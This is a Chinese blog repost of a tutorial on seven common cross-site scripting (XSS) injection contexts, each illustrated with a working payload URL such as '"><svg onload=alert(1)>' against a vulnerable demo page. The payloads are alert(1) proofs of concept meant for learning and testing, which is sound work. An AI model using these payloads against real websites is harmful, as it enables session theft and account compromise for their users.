常见的7种XSS

1. URL Reflection

当URL以某种方式反映在源代码中时,我们可以添加自己的XSS向量/有效负载。对于PHP页面,可以使用斜杠字符(/)在页面名称之后添加任何内容

http://brutelogic.com.br/xss.php/”><svg onload=alert(1)>

 

需要使用前导标记(“>”)来突破当前标记,以便插入新标记

 

2. Simple HTMLi (HTML injection)

最简单的输入,恰好在现有标签之间的代码中,在它们之前或之后。无需逃避或破坏任何东西,任何简单的XSS向量(<tag handler=jsCode>)都能完成

http://brutelogic.com.br/xss.php?a=<svg onload=alert(1)>

3. Inline HTMLi

几乎与前一个一样简单,但有一点“>前置突破当前标签

http://brutelogic.com.br/xss.php?b1=”><svg onload=alert(1)>

 

4. Inline HTMLi: No Tag Breaking

当输入登陆HTML属性并且过滤大于字符(>)时,就不可能像前一种情况那样打破当前标记

http://brutelogic.com.br/xss.php?b3=” onmouseover=alert(1)// 这样既可突破

它关闭了值并为插入onmouseover事件处理程序提供了空间。指向警报(1)后跟双斜线以注释悬挂引号,当受害者将他/她的鼠标指向受影响的输入字段时触发js弹出窗口

5. HTMLi in Js (Javascript) Block

输入有时会进入javascript块(脚本标记),通常是代码的某个变量的值。但是因为HTML标记在浏览器的解析中具有优先权,所以我们可以简单地终止块并插入新标记

http://brutelogic.com.br/xss.php?c1=</script><svg onload=alert(1)>

 

6. Simple Js Injection

 

所以要走的是注入javascript代码,尊重语法。一种已知的方法是将易受攻击的变量的值“连接”到我们想要执行的代码。因为我们不能让任何引号挂起,我们首先断开,连接到我们的代码(带减号),然后反向(连接然后插入引号)以获得有效的javascript语法 

http://brutelogic.com.br/xss.php?c3=’-alert(1)-‘

7. Escaped Js Injection

在前一种情况下,如果使用反斜杠(\)转义引号(负责转出变量的值),则注入将不起作用(语法无效)。

为此,我们有一个小技巧:逃避逃脱。我们插入一个前导反斜杠来逃避添加的反斜杠然后报价将起作用。在“连接”到我们想要的js代码之后,我们需要注释掉其余部分,因为在注入的剩余部分没有办法重复该过程。

http://brutelogic.com.br/xss.php?c5=\’-alert(1)//

 

转载:

https://brutelogic.com.br/blog/the-7-main-xss-cases-everyone-should-know/

posted @ 2019-04-15 10:19  APT-101  阅读(1679)  评论(0编辑  收藏  举报